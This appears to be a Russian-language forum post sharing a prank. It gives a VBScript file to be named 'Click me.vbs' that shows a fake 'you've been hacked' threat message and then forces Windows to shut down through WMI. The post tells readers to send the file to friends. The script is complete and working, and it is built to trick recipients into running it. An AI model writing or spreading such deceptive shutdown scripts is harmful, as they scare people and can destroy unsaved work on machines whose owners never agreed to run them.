Было дело давно когда мне друг по скайпу кинул файл , я не подумавши открыл его вышло окно :"Ваш комп взломал величайший хакер ", я ужаснулся и нажал на "Ok" и Комп выключился , потом зашел открыл его через notepad++ и увидел что там скрипт , и увидел те строки которые показывают сообщение с угрозами , потом поржал над собой , что так тупо не подумавши нажал =) И начал кидать другим друзьям , надо же было отыграться
И так создаем файл и называем его например : "Нажми на меня.vbs "
P.S обязательно расширение файла должно быть .vbs
и вписываем туда
msgbox "Сообщение , Угрозы
"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "Сообщение , Угрозы
Сохраняем и кидаем другу 